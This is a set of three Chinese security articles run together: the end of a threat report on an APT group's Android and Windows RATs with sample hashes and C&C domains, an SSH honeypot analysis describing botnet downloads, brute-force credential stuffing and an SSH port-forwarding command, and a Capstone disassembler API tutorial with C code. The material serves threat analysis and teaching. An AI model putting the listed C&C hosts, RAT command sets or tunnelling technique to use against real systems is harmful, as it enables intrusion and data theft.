Android端共使用到三种RAT，其中有两种（DroidJack和SpyNote）是使用较频繁的商业RAT，曾在多个黑客论坛上进行传播，已被多家安全公司查杀和曝光。而另外一种我们认为是专门为此次攻击开发的，我们命为SSLove，其仅出现在该活动中，并历经数个版本的更新。
DroidJack
Droidjack是一个极度流行的RAT，有自己的官网，功能强大，且有便捷的管理工具。该组织在使用Droidjack时除了直接使用外；还会把其插入到正常APP中进行隐藏，有趣的是同时SSLove也会一块插入到该APP中，这意味着该APP会同时带有两种RAT。
图4.1 Droidjack管理工具界面图
SpyNote
SpyNote类似Droidjack ，虽然拍拍熊组织使用到SpyNote，但该RAT在此次攻击活动中被用到的次数有限。
图4.2 SpyNote管理工具界面图
SSLove
这是一个之前未被曝光的RAT。根据该RAT包含的特殊字符“runmylove”，结合其是首款被发现到的使用SqlServer实现指令交互的RAT，我们命名为SSLove。最新版本的SSLove具有窃取短信、通讯录、WhatsApp和Telegram数据、使用FTP进行上传文件等多种功能。
该组织在使用SSLove时和Droidjack用法一样，一种是直接使用，其中上述提到的Al
Swarm网站被拍拍熊组织用来水坑攻击时使用的伪装APP就属于这种；另一种是插入到正常APP中进行隐藏。
图4.3 SSLove指令功能相关数据表
### Windows
Windows端共使用到三种RAT，都是在中东地区流行了数年的RAT，其中有两种（njRAT和H-worm）曾被多次曝光，但依旧活跃。
njRAT
njRAT[2]又称Bladabindi，通过控制端可以操作受控端的注册表，进程，文件等，还可以对被控端的键盘进行记录。同时njRAT采用了插件机制，可以通过不同的插件来扩展njRAT的功能。
该组织在使用njRAT时大多不是直接使用，而是在njRAT的基础上进行了二次封装，使用C#为njRAT加了一层壳，并对壳的代码进行了大量的混淆。该壳的作用是在内存中加载njRAT运行，防止njRAT被杀毒软件检测，而上述提到的Amaq网站被该组织用来水坑攻击时使用的伪装成Adobe
Flash Player就属于这种。
图4.4 从Amaq水坑活动中伪装的恶意样本提取出来的njRAT
H-Worm
H-Worm是一个基于VBS（Visual Basic Script）的RAT，该RAT情况信息可参阅FireEye之前发表的详细报告《Now You
See Me – H-worm by Houdini》[3]。此次攻击使用的是混淆变异后的H-Worm版本，去除混淆后进行分析，我们发现其指令列表并无变化。
图4.5 混淆的H-Worm代码片段
指令
|
功能
---|---
excecute
|
执行服务端命令
update
|
更新载荷
uninstall
|
卸载自身
send
|
下载文件
site-send
|
指定网站下载文件
recv
|
上传数据
enum-driver
|
枚举驱动
enum-faf
|
枚举指定目录下的文件
enum-process
|
枚举进程
cmd-shell
|
执行shell
delete
|
删除文件
exit-process
|
结束进程
sleep
|
设置脚本休眠时间
表3 H-Worm样本指令与功能对应关系
Fkn0wned
fkn0wned是一款通过VB.NET编写的RAT，此次攻击使用的属于一个早期版本，仅接收“DOWNLOAD”指令，DDoS功能代码并未起作用，该RAT实际是个下载者。
图4.4 fkn0wned配置信息及指令响应代码图
### C&C、IP及部分样本对应关系
图4.5 C&C、IP及部分样本对应关系
## 受攻击地区分布情况
截至目前，360烽火实验室发现此次拍拍熊组织攻击活动影响到的国家共有11个
，通过查询可以知悉这些国家均存在某武装组织组织人员。显而易见，造成这个分布现象的缘由正是该组织采用的数次针对性的水坑攻击导致。
图5.1 受攻击的地区分布情况
## 溯源与关联
360烽火实验室通过对此次拍拍熊攻击活动的分析，结合之前对黄金鼠组织的分析，我们发现两个组织除掉攻击目标和各自的专属RAT外，两者在下面几个方面有很强的关联性。
* 均熟悉阿拉伯语，持续数年针对Android和Windows平台，擅长水坑攻击。
* 均使用多种RAT，其中大多数双方都有使用。
* 两个组织在两个时间段内使用了处于同一网段的C&C。
## 总结
随着地缘政治冲突等问题，各方试图通过网络情报和网络攻击活动占领先机，进一步造成网络空间冲突的加剧。此次拍拍熊组织又是一个基于此而产生的间谍情报活动组织，没有和平的因素，攻击不可能会停止。近期报道称中东某国境内的某武装组织最后据点被攻下且被宣灭亡，这或许意味着拍拍熊组织的攻击活动将会有所变化，最后愿早日长久和平!
附录A：样本MD5
Android攻击样本MD5
|
Windows攻击样本MD5
---|---
12100da4635765f8d69d684f742a47bd
|
085e195c9b14ef099171805c44ff4914
1d5e36be4b94289f214447964ede688d
|
1a655affc8d5fffa48915a934f31f95e
1daf7e38d8d918e8e087ad590b299218
|
291c3f5b9b53381283a044e337899c84
1eb8e8667ed7d2a07076e3d240207613
|
6d6961ced0e77c28f881db579301a927
249aad5d2722b69aac7ed27c9e669c79
|
8bb342a3e770717bd8f39ac12a687b54
2706be45411ed22ce456b8fe8273b285
|
8c49833f76b17fdaafe5130f249312ca
31aad6045f403fcd397e19cad4f80d1f
|
ba1249123e808e744aeb96753bc119d4
3751db0d511305b39601e09959491d8e
|
bfaf6389cb9fba695daa8552f697d40b
430a0b26cc53f7d39b8192d0b3f79837
|
d2c40e2183cf18855c36ddd14f8e966f
4333a9e5d6de6e12b368f5a943a30a0e
|
d52f57b6597e55c40c21b0f8c763cd69
484d74ebd0e3586e2ff694017dcaa9e3
|
d9153bdf30e0a3ab31601e43d85c9949
51f7d6fec2be62fc29cfb94f52803428
|
daf7f053cf78690ff0c6ec0384d85bf2
523845736fc92ea80e9880641b768dc1
|
e6e676df8250a7b930b2d016458225e2
71d0cea1bee13d1e36b5a53788001b85
|
7d50a9bd474a7c5878ac8e0e4a183a8b
|
80382a7f2eb4f292a28554bc95b57938
|
98d584d4d575e31f9f4f70c9be05166f
|
a31f1ce49662a60daa46180d02ab6218
|
a41c5f227ac2816355ce4cf650993749
|
a95d57eaaf7847a07e62c6ea0fecbfb7
|
b7d12ab736b41d503e93a0bd6125cf62
|
b87f516b2ee0e6df09510f75b16c25ef
|
bb2d1238c8418cde13128e91f1a77ae7
|
bef2dddd8892a4985879971cf437d79b
|
c9e434e780b5bed397c543bb3264deea
|
d195511307a2c5ac52bebf8a98b9dfae
|
d207a876369681ed476f650d808a25a8
|
dc1ede8e2d3206b04cb95b6ae62f43e0
|
e92651bb3ad8c5c3acf38dedb2abc2ca
|
ea6e187934fc1459d3b04b0898496b2c
|
eb3310f19720abddc34c4602983e4f3c
|
f66d99406819ca96b47d7ff0881a0a1a
|
附录B：C&C
66.85.157.86
|
---|---
82.137.255.0
|
da3da3.duckdns.org
|
samd1.duckdns.org
|
samd2.duckdns.org
|
sorry.duckdns.org
|
btcaes2.duckdns.org
|
附录C：参考链接
[1] https://ti.360.net/blog/articles/analysis-of-apt-c-27/
[2] <https://en.wikipedia.org/wiki/Njrat>
[3]https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html | 社区文章 |
# 【技术分享】从蜜罐数据到SSH蜜罐的典型攻击分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x01．蜜罐整体介绍**
随着威胁情报的兴起和虚拟化技术的发展，蜜罐技术也得到了新的发展。可以通过虚拟机来实现高交互蜜罐，以及通过docker实现的业务型蜜罐，不再像是以前需要昂贵硬件设备的部署支撑，大大减少了蜜罐的部署成本。
蜜罐高保真高质量的数据集把安全人员从以前海量日志分析的繁琐过程中解脱出来，对于蜜罐的连接访问都是攻击信息，并且不再像以前的特征分析具有一定的滞后性，可以用于捕获新型的攻击和方法。
360天眼实验室于2016年中旬运营了一套蜜罐系统，发展至今已相对成熟，蜜罐节点遍布世界五大洲，覆盖了20多个国家，涵盖企业服务、工控服务等常见端口。
**1） 蜜罐部署**
目前的蜜罐集群集管理、监控、数据收集与分析，实现基本全自动化流程。
**2） 总体数据量**
目前我们的蜜罐日志每天以近10W的数量增长。随着蜜罐数量的增加，这个数据还会进一步增长。
攻击IP的地理分布图，攻击IP遍布全球，其中东南亚和南美最多。
下面是以2016年11月以来的攻击IP每日访问情况。其中来自俄罗斯的某IP日访问日志条数达到88万条。
攻击端口统计，可以看出攻击者对哪些端口比较感兴趣，也能在第一时间发现基于某个端口的攻击事件的爆发。比如，通过统计4月份以来的端口访问情况，分别发现在4月中旬和5月中旬有对445端口扫描的小高峰，这与SMB漏洞的爆发不无关系。而基于6881端口的访问存在几次暴增的访问流量，可能跟P2P探测有关。
**0x02 SSH蜜罐（Cowrie）典型攻击分析**
**1）SSH蜜罐分析**
下面我们以SSH蜜罐（22端口）来介绍我们通过蜜罐数据发现的典型攻击。今年4月10日以来成功爆破SSH蜜罐的统计数据，其中4月中旬达到了一个峰值。
蜜罐中发现的用于自动化爆破的用户名、密码排行如下。其中，root/12345还是黑客最喜欢探测的账号口令。
用户名TOP 10：
密码TOP 10：
攻击者在成功入侵蜜罐后，一般都会执行相关命令。比较靠前的有意思的命令如下，其中来自法国的46.218.149.85频繁在众多命令中出现，充当了恶意下载站的角色。
另外，引起全球震惊的Mirai僵尸网络于2016年10月份曾令美国多个城市出现互联网瘫痪情况。收集到的Mirai的恶意样本如下：
**2）典型攻击分析**
从蜜罐数据来看，我们选择了SSH攻击当中较为常见的两种：
**1）僵尸病毒投放：** 通过爆破成功登陆后下载恶意软件（僵尸病毒），使得机器沦为肉鸡，以便实施进一步的攻击；
**2）SSHTunnel跳板攻击：** 将蜜罐作为跳板，利用蜜罐扫描或攻击其他机器，我们发现的是利用蜜罐去爆破一些金融电商的登录入口。
**a）僵尸病毒投放分析**
恶意样本从命名方式来看，主要有两种。
第一种是以常见的linux程序来命名，如sh，wget；第二种是以tty来命名。命名方式比较隐蔽，加大了管理人员的排查难度。
我们从中抽取一条典型的攻击为例进行分析。5月17日，源IP为94.102.52.195对我们的蜜罐进行ssh爆破，然后通过root/admin登陆成功。
进入到shell之后，可以看到挑选了几个目录然后通过wget，tftp，ftpget三种方法来下载恶意的shell脚本
通过查看shell脚本发现，3种方式下载的恶意脚本是一样的，这应该是攻击者为了确保能下载成功。Shell脚本如下：
这次攻击下载的恶意样本如下：
VirusTotal的检测结果:
通过比较，这一系列的样本功能类似，但是适配了不同的CPU架构，保证了能在多个平台运行。部分功能函数截图：
可以看出功能很齐全，包括执行命令（processCmd），更新样本（UpdateBins），获取公网ip（getOutIP），清除history（ClearHistory）等。其中sendCNC函数引起了我的兴趣，google了一下，然后发现了以下部分：
这三个的代码一样。查看了一番，发现代码存在的UserAgent与恶意样本里的字符串非常相似，经过函数的比较，发现这应该就是攻击者使用的恶意程序。
而且还有作者的签名，是由Gr1n1337所写
其中，最早的一个搜索结果显示是7个月前所建，而我们最早搜集到的恶意样本是2016年10月，与该结果相符。而且还带有该恶意样本的介绍，是最强大的telnet
botnet。
通过源代码分析，该恶意样本是一种IOT病毒，分为Client端和Server端，Server端是攻击者的控制端，Client端会接收控制端的命令执行相应操作，并且会扫描其他存在弱口令的ssh/telnet设备进行传播。
**b） SSHTunel跳板攻击**
我们在分析跳板攻击方式时，IP为5.45.86.133引起了我们的兴趣。
攻击时间截图如下，从图中可以看出该IP在2016年7月开始对我们的蜜罐进行尝试攻击，在2017年2月1号攻击次数达到顶峰28W次，最后在2017年3月31后停止了攻击。
我们通过蜜罐的日志完整地复现了该IP的攻击时间线。
2016年7月到9月：
这段时间攻击者的攻击行为较少，还处于试探阶段，只是请求了几个IP的80端口。典型的攻击如下，从5556端口访问目的IP的80端口
2016年9月到10月：
这段时间，攻击次数逐渐增多，到9月中旬到达顶峰13000多次。这段时间主要是请求46.4.100.47的80端口和62.210.136.117的81端口。其中46.4.100.47是德国Hetzner
Online公司的IP，而62.210.136.117是法国IDC 机房的IP。
2016年10月到11月：
攻击者沉寂了下去，一个月只有20多条记录
2016年11月到2017年1月：
攻击者又开始活跃起来，主要的请求目标还是62.210.136.117，请求大多数集中在11月的下旬，而12月的请求比较平均，12月20号后请求消失
2017年1月到3月：
攻击者在沉寂了一段时间后，于1月13日活跃了一下，对https://shop.selectflavour.com网站做了一段时间爆破，然后又沉寂到2月初的前3天，这几天攻击者的请求有了爆炸式的增长，对多个电商、金融网站进行登陆的暴力破解，其中包括creditonebank和ebay，还有一些Wordpress网站的爆破。
其中，signin.m.ebay.in是Ebay移动端登录页面。
关于端口转发，举个栗子：
如果知道了跳板机的SSH密码，使用如下命令即可实现SSH端口转发：
ssh -f -N -L 3307:172.16.1.30:3306 [email protected] -p8822
从攻击者的整个时间线来看，他们的攻击行为是非常有规律的，一旦爆发一次后，就会销声匿迹一段时间。持续的时间也比较长，从2016年7月到2017年3月，持续了半年的时间。攻击的目标非常明确，大部分集中在对于金融和电商的攻击，而且都是以爆破密码为主，所以可以猜测应该是一股有组织的团伙在进行批量的撞库。
**0x03．结束语**
通过对于SSH蜜罐数据的分析，我们可以找出许多有意思的攻击手法。同时，通过对日志的分析，我们也可以用时间线将攻击者的整个攻击流程做一个完整的梳理。随着这些数据量的增多，预测攻击者的下次攻击也并非不可能，从而形成新的威胁情报。
威胁情报带动了蜜罐技术的发展，而蜜罐收集的高价值数据反过来对威胁情报也是一个很好的补充，二者相辅相成，缺一不可。
**0x04. 参考链接**
<http://thehackernews.com/2015/11/what-is-cyber-threat-intelligence.html>
<https://en.wikipedia.org/wiki/Honeypot_(computing)>
<https://github.com/DavidOfficiel/botnet>
<http://www.nothink.org/honeypot_ssh.php>
<https://www.virustotal.com/> | 社区文章 |
# Capstone反汇编引擎数据类型及API分析及示例(三)
[Capstone反汇编引擎数据类型及API分析及示例(一)](https://xz.aliyun.com/t/5753
"Capstone反汇编引擎数据类型及API分析及示例\(一\)")
[Capstone反汇编引擎数据类型及API分析及示例(二)](https://xz.aliyun.com/t/5761
"Capstone反汇编引擎数据类型及API分析及示例\(二\)")
## API分析
### cs_open
`cs_err CAPSTONE_API cs_open(cs_arch arch, cs_mode mode, csh *handle);`
初始化cs句柄
参数
arch: 架构类型 (CS _ARCH_ _)
mode: 硬件模式. CS _MODE__ 在cs_mode数据类型中可查
handle: 指向句柄, 返回时更新
return: 创建成功返回CS_ERR_OK，否则返回cs_err枚举中对应的错误信息
实现代码
cs_err CAPSTONE_API cs_open(cs_arch arch, cs_mode mode, csh *handle)
{
cs_err err;
struct cs_struct *ud;
if (!cs_mem_malloc || !cs_mem_calloc || !cs_mem_realloc || !cs_mem_free || !cs_vsnprintf)
// Error: 使用cs_open()前, 必须使用cs_option(CS_OPT_MEM)进行动态内存管理的初始化
return CS_ERR_MEMSETUP;
if (arch < CS_ARCH_MAX && cs_arch_init[arch]) {
// 验证架构是否使用，方式：架构在枚举中且可初始化
if (mode & cs_arch_disallowed_mode_mask[arch]) {
*handle = 0;
return CS_ERR_MODE;
}
ud = cs_mem_calloc(1, sizeof(*ud));
if (!ud) {
// 内存不足
return CS_ERR_MEM;
}
ud->errnum = CS_ERR_OK;
ud->arch = arch;
ud->mode = mode;
// 默认情况指令不打开detail模式
ud->detail = CS_OPT_OFF;
// 默认skipdata设置
ud->skipdata_setup.mnemonic = SKIPDATA_MNEM;
err = cs_arch_init[ud->arch](ud);
if (err) {
cs_mem_free(ud);
*handle = 0;
return err;
}
*handle = (uintptr_t)ud;
return CS_ERR_OK;
} else {
*handle = 0;
return CS_ERR_ARCH;
}
}
其中，cs_struct结构体包含更多细节设定，如下
struct cs_struct {
cs_arch arch;
cs_mode mode;
Printer_t printer; // 打印asm
void *printer_info; // 打印信息
Disasm_t disasm; // 反编译
void *getinsn_info; // 打印辅助信息
GetName_t reg_name;
GetName_t insn_name;
GetName_t group_name;
GetID_t insn_id;
PostPrinter_t post_printer;
cs_err errnum;
ARM_ITStatus ITBlock; // ARM特殊选项
cs_opt_value detail, imm_unsigned;
int syntax; //ARM, Mips & PPC等架构的基本asm语法打印
bool doing_mem; // 在InstPrinter代码中处理内存操作数
unsigned short *insn_cache; //为mapping.c建立缓存索引
GetRegisterName_t get_regname;
bool skipdata; // 如果反编译时要跳过数据，该项设置为True
uint8_t skipdata_size; //要跳过bytes的数量
cs_opt_skipdata skipdata_setup; // 自定义skipdata设置
const uint8_t *regsize_map; //映射register大小 (目前仅支持x86)
GetRegisterAccess_t reg_access;
struct insn_mnem *mnem_list; // 自定义指令助记符的链接list
};
示例(创建一个x86_64类型的cs句柄)：
`cs_open(CS_ARCH_X86, CS_MODE_64, &handle)`
### cs_close
`cs_err CAPSTONE_API cs_close(csh *handle);`
释放句柄
参数
handle: 指向一个cs_open()打开的句柄
return: 释放成功返回CS_ERR_OK,否则返回cs_err枚举的错误信息
实现代码，可以看出释放句柄实质为将句柄值设置为0
cs_err CAPSTONE_API cs_close(csh *handle)
{
struct cs_struct *ud;
struct insn_mnem *next, *tmp;
if (*handle == 0)
// 句柄不可用
return CS_ERR_CSH;
ud = (struct cs_struct *)(*handle);
if (ud->printer_info)
cs_mem_free(ud->printer_info);
// 释放自定义助记符的链接list
tmp = ud->mnem_list;
while(tmp) {
next = tmp->next;
cs_mem_free(tmp);
tmp = next;
}
cs_mem_free(ud->insn_cache);
memset(ud, 0, sizeof(*ud));
cs_mem_free(ud);
// handle值设置为0，保证这个句柄在cs_close()释放后不可使用
*handle = 0;
return CS_ERR_OK;
}
示例：
`cs_close(&handle);`
### cs_option
`cs_err CAPSTONE_API cs_option(csh handle, cs_opt_type type, size_t value);`
反编译引擎的运行时选项
handle: cs_open()打开的句柄
type: 设置选项的类型
value: 与type对应的选项值
return: 设置成功返回CS_ERR_OK,否则返回cs_err枚举的错误信息
注意: 在CS_OPT_MEM的情况下，handle可以是任何值，因此cs_option(handle, CS_OPT_MEM,
value)必须在cs_open()之前被调用
实现代码
cs_err CAPSTONE_API cs_option(csh ud, cs_opt_type type, size_t value)
{
struct cs_struct *handle;
cs_opt_mnem *opt;
// 支持在所有API前支持 (even cs_open())
if (type == CS_OPT_MEM) {
cs_opt_mem *mem = (cs_opt_mem *)value;
cs_mem_malloc = mem->malloc;
cs_mem_calloc = mem->calloc;
cs_mem_realloc = mem->realloc;
cs_mem_free = mem->free;
cs_vsnprintf = mem->vsnprintf;
return CS_ERR_OK;
}
handle = (struct cs_struct *)(uintptr_t)ud;
if (!handle)
return CS_ERR_CSH;
switch(type) {
default:
break;
case CS_OPT_UNSIGNED:
handle->imm_unsigned = (cs_opt_value)value;
return CS_ERR_OK;
case CS_OPT_DETAIL:
handle->detail = (cs_opt_value)value;
return CS_ERR_OK;
case CS_OPT_SKIPDATA:
handle->skipdata = (value == CS_OPT_ON);
if (handle->skipdata) {
if (handle->skipdata_size == 0) {
handle->skipdata_size = skipdata_size(handle);
}
}
return CS_ERR_OK;
case CS_OPT_SKIPDATA_SETUP:
if (value)
handle->skipdata_setup = *((cs_opt_skipdata *)value);
return CS_ERR_OK;
case CS_OPT_MNEMONIC:
opt = (cs_opt_mnem *)value;
if (opt->id) {
if (opt->mnemonic) {
struct insn_mnem *tmp;
// 添加新指令或替换现有指令
// 查看当前insn释放在list中
tmp = handle->mnem_list;
while(tmp) {
if (tmp->insn.id == opt->id) {
// f找到指令，替换助记符
(void)strncpy(tmp->insn.mnemonic, opt->mnemonic, sizeof(tmp->insn.mnemonic) - 1);
tmp->insn.mnemonic[sizeof(tmp->insn.mnemonic) - 1] = '\0';
break;
}
tmp = tmp->next;
}
// 2. 如果没有就添加这条指令
if (!tmp) {
tmp = cs_mem_malloc(sizeof(*tmp));
tmp->insn.id = opt->id;
(void)strncpy(tmp->insn.mnemonic, opt->mnemonic, sizeof(tmp->insn.mnemonic) - 1);
tmp->insn.mnemonic[sizeof(tmp->insn.mnemonic) - 1] = '\0';
// 新指令放在list最前面
tmp->next = handle->mnem_list;
handle->mnem_list = tmp;
}
return CS_ERR_OK;
} else {
struct insn_mnem *prev, *tmp;
tmp = handle->mnem_list;
prev = tmp;
while(tmp) {
if (tmp->insn.id == opt->id) {
// 删除指令
if (tmp == prev) {
handle->mnem_list = tmp->next;
} else {
prev->next = tmp->next;
}
cs_mem_free(tmp);
break;
}
prev = tmp;
tmp = tmp->next;
}
}
}
return CS_ERR_OK;
case CS_OPT_MODE:
// 验证所请求的模式是否有效
if (value & cs_arch_disallowed_mode_mask[handle->arch]) {
return CS_ERR_OPTION;
}
break;
}
return cs_arch_option[handle->arch](handle, type, value);
}
示例，更改反汇编后显示的语法：
#include <iostream>
#include <stdio.h>
#include "capstone.h"
#include "platform.h"
using namespace std;
#define CODE "\x55\x48\x8b\x05\xb8\x13\x00\x00"
int main(void)
{
csh handle;
cs_insn* insn;
size_t count;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("ERROR: Failed to initialize engine!\n");
return -1;
}
cs_option(handle, CS_OPT_SYNTAX, CS_OPT_SYNTAX_ATT); // 以AT&T语法显示
count = cs_disasm(handle, (unsigned char*)CODE, sizeof(CODE) - 1, 0x1000, 0, &insn);
if (count) {
size_t j;
for (j = 0; j < count; j++) {
printf("0x%""Ix"":\t%s\t\t%s\n", insn[j].address, insn[j].mnemonic, insn[j].op_str);
}
cs_free(insn, count);
}
else
printf("ERROR: Failed to disassemble given code!\n");
cs_close(&handle);
return 0;
}
输出
### cs_errno
`cs_err CAPSTONE_API cs_errno(csh handle);`
API出错时返回错误消息
参数
handle: cs_open()打开的句柄
return: 无错误返回CS_ERR_OK,否则返回cs_err枚举的错误信息
实现很简单，判断到句柄不存在直接返回CS_ERR_CSH
示例：
#include <iostream>
#include <stdio.h>
#include "capstone.h"
#include "platform.h"
using namespace std;
#define CODE "\x55\x48\x8b\x05\xb8\x13\x00\x00"
int main(void)
{
csh handle = 0;
cs_insn* insn;
size_t count;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("ERROR: Failed to initialize engine!\n");
return -1;
}
cs_close(&handle);
std::cout << cs_errno(handle); //关闭句柄后检查将报错
return 0;
}
输出，错误码4即CS_ERR_CSH
### cs_strerror
`const char * CAPSTONE_API cs_strerror(cs_err code);`
将上个API输出的错误码转换为详细错误信息
const char * CAPSTONE_API cs_strerror(cs_err code)
{
switch(code) {
default:
return "Unknown error code";
case CS_ERR_OK:
return "OK (CS_ERR_OK)";
case CS_ERR_MEM:
return "Out of memory (CS_ERR_MEM)";
case CS_ERR_ARCH:
return "Invalid/unsupported architecture(CS_ERR_ARCH)";
case CS_ERR_HANDLE:
return "Invalid handle (CS_ERR_HANDLE)";
case CS_ERR_CSH:
return "Invalid csh (CS_ERR_CSH)";
case CS_ERR_MODE:
return "Invalid mode (CS_ERR_MODE)";
case CS_ERR_OPTION:
return "Invalid option (CS_ERR_OPTION)";
case CS_ERR_DETAIL:
return "Details are unavailable (CS_ERR_DETAIL)";
case CS_ERR_MEMSETUP:
return "Dynamic memory management uninitialized (CS_ERR_MEMSETUP)";
case CS_ERR_VERSION:
return "Different API version between core & binding (CS_ERR_VERSION)";
case CS_ERR_DIET:
return "Information irrelevant in diet engine (CS_ERR_DIET)";
case CS_ERR_SKIPDATA:
return "Information irrelevant for 'data' instruction in SKIPDATA mode (CS_ERR_SKIPDATA)";
case CS_ERR_X86_ATT:
return "AT&T syntax is unavailable (CS_ERR_X86_ATT)";
case CS_ERR_X86_INTEL:
return "INTEL syntax is unavailable (CS_ERR_X86_INTEL)";
case CS_ERR_X86_MASM:
return "MASM syntax is unavailable (CS_ERR_X86_MASM)";
}
}
示例，结合cs_errno使用：
#include <iostream>
#include <stdio.h>
#include "capstone.h"
#include "platform.h"
using namespace std;
#define CODE "\x55\x48\x8b\x05\xb8\x13\x00\x00"
int main(void)
{
csh handle = 0;
cs_insn* insn;
size_t count;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("ERROR: Failed to initialize engine!\n");
return -1;
}
cs_close(&handle);
std::cout << cs_strerror(cs_errno(handle)); //直接输出报错信息
return 0;
}
输出
### cs_disasm
size_t CAPSTONE_API cs_disasm(csh handle,
const uint8_t *code, size_t code_size,
uint64_t address,
size_t count,
cs_insn **insn);
给定缓冲区、大小、地址和编号，反编译机器码
API动态地分配内存来包含分解的指令，生成的指令将放在*insn中
注意： 必须释放分配的内存，以避免内存泄漏。对于需要动态分配稀缺内存的系统(如OS内核或固件)，API
cs_disasm_iter()可能是比cs_disasm()更好的选择。原因是，使用cs_disasm()时，基于有限的可用内存，必须预先计算要分解多少条指令。
handle: cs_open()返回的句柄
code: 包含要反汇编的机器码的缓冲区。
code_size:上面代码缓冲区的大小。
address:给定原始代码缓冲区中的第一条指令的地址。
insn: 由这个API填写的指令数组。注意: insn将由这个函数分配，应该用cs_free () API释放
count: 需要分解的指令数量，或输入0分解所有指令
return:成功反汇编指令的数量，如果该函数未能反汇编给定的代码，则为0，失败时，调用cs_errno()获取错误代码。
源码分析
size_t CAPSTONE_API cs_disasm(csh ud, const uint8_t *buffer, size_t size, uint64_t offset, size_t count, cs_insn **insn)
{
struct cs_struct *handle;
MCInst mci;
uint16_t insn_size;
size_t c = 0, i;
unsigned int f = 0; // 缓存中下一条指令的索引
cs_insn *insn_cache; // 缓存反汇编后的指令
void *total = NULL;
size_t total_size = 0; //所有insn的输出缓冲区的总大小
bool r;
void *tmp;
size_t skipdata_bytes;
uint64_t offset_org; // 保存缓冲区的所有原始信息
size_t size_org;
const uint8_t *buffer_org;
unsigned int cache_size = INSN_CACHE_SIZE;
size_t next_offset;
handle = (struct cs_struct *)(uintptr_t)ud;
if (!handle) {
// 修复方式:
// handle->errnum = CS_ERR_HANDLE;
return 0;
}
handle->errnum = CS_ERR_OK;
// 重设ARM架构的IT block
if (handle->arch == CS_ARCH_ARM)
handle->ITBlock.size = 0;
#ifdef CAPSTONE_USE_SYS_DYN_MEM
if (count > 0 && count <= INSN_CACHE_SIZE)
cache_size = (unsigned int) count;
#endif
// 保存SKIPDATA原始偏移量
buffer_org = buffer;
offset_org = offset;
size_org = size;
total_size = sizeof(cs_insn) * cache_size;
total = cs_mem_malloc(total_size);
if (total == NULL) {
// 内存不足
handle->errnum = CS_ERR_MEM;
return 0;
}
insn_cache = total;
while (size > 0) {
MCInst_Init(&mci);
mci.csh = handle;
mci.address = offset;
if (handle->detail) {
//给detail指针分配内存
insn_cache->detail = cs_mem_malloc(sizeof(cs_detail));
} else {
insn_cache->detail = NULL;
}
// 为non-detailed模式保存所有信息
mci.flat_insn = insn_cache;
mci.flat_insn->address = offset;
#ifdef CAPSTONE_DIET
//mnemonic & op_str0填充
mci.flat_insn->mnemonic[0] = '\0';
mci.flat_insn->op_str[0] = '\0';
#endif
r = handle->disasm(ud, buffer, size, &mci, &insn_size, offset, handle->getinsn_info);
if (r) {
SStream ss;
SStream_Init(&ss);
mci.flat_insn->size = insn_size;
//将内部指令操作码映射到公共insn ID
handle->insn_id(handle, insn_cache, mci.Opcode);
handle->printer(&mci, &ss, handle->printer_info);
fill_insn(handle, insn_cache, ss.buffer, &mci, handle->post_printer, buffer);
// 调整opcode (X86)
if (handle->arch == CS_ARCH_X86)
insn_cache->id += mci.popcode_adjust;
next_offset = insn_size;
} else {
// 遇到中断指令
// 为detail指针释放内存
if (handle->detail) {
cs_mem_free(insn_cache->detail);
}
if (!handle->skipdata || handle->skipdata_size > size)
break;
if (handle->skipdata_setup.callback) {
skipdata_bytes = handle->skipdata_setup.callback(buffer_org, size_org,
(size_t)(offset - offset_org), handle->skipdata_setup.user_data);
if (skipdata_bytes > size)
break;
if (!skipdata_bytes)
break;
} else
skipdata_bytes = handle->skipdata_size;
insn_cache->id = 0;
insn_cache->address = offset;
insn_cache->size = (uint16_t)skipdata_bytes;
memcpy(insn_cache->bytes, buffer, skipdata_bytes);
#ifdef CAPSTONE_DIET
insn_cache->mnemonic[0] = '\0';
insn_cache->op_str[0] = '\0';
#else
strncpy(insn_cache->mnemonic, handle->skipdata_setup.mnemonic,
sizeof(insn_cache->mnemonic) - 1);
skipdata_opstr(insn_cache->op_str, buffer, skipdata_bytes);
#endif
insn_cache->detail = NULL;
next_offset = skipdata_bytes;
}
// 一条新指令进入缓存
f++;
// 反汇编了一条指令
c++;
if (count > 0 && c == count)
break;
if (f == cache_size) {
cache_size = cache_size * 8 / 5;
total_size += (sizeof(cs_insn) * cache_size);
tmp = cs_mem_realloc(total, total_size);
if (tmp == NULL) { //内存不足
if (handle->detail) {
insn_cache = (cs_insn *)total;
for (i = 0; i < c; i++, insn_cache++)
cs_mem_free(insn_cache->detail);
}
cs_mem_free(total);
*insn = NULL;
handle->errnum = CS_ERR_MEM;
return 0;
}
total = tmp;
//在最后一条指令之后继续填充缓存
insn_cache = (cs_insn *)((char *)total + sizeof(cs_insn) * c);
// 将f重置为0，从一开始就填入缓存
f = 0;
} else
insn_cache++;
buffer += next_offset;
size -= next_offset;
offset += next_offset;
}
if (!c) {
//未反汇编任何指令
cs_mem_free(total);
total = NULL;
} else if (f != cache_size) {
// 没有完全使用最后一个缓存，缩小大小
tmp = cs_mem_realloc(total, total_size - (cache_size - f) * sizeof(*insn_cache));
if (tmp == NULL) { // 内存不足
// 释放所有detail指针
if (handle->detail) {
insn_cache = (cs_insn *)total;
for (i = 0; i < c; i++, insn_cache++)
cs_mem_free(insn_cache->detail);
}
cs_mem_free(total);
*insn = NULL;
handle->errnum = CS_ERR_MEM;
return 0;
}
total = tmp;
}
*insn = total;
return c;
}
示例，x86_64:
#include <iostream>
#include <stdio.h>
#include "capstone.h"
#include "platform.h"
using namespace std;
#define CODE "\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\xea\xbe\xad\xde\xff\x25\x23\x01\x00\x00\xe8\xdf\xbe\xad\xde\x74\xff"
int main(void)
{
csh handle = 0;
cs_insn* insn;
size_t count;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("ERROR: Failed to initialize engine!\n");
return -1;
}
count = cs_disasm(handle, (unsigned char*)CODE, sizeof(CODE) - 1, 0x1000, 0, &insn); //所有指令，基址0x1000，放入insn
if (count) {
size_t j;
for (j = 0; j < count; j++) {
printf("0x%""Ix"":\t%s\t\t%s\n", insn[j].address, insn[j].mnemonic, insn[j].op_str);
}
cs_free(insn, count);
}
else
printf("ERROR: Failed to disassemble given code!\n");
cs_close(&handle);
return 0;
}
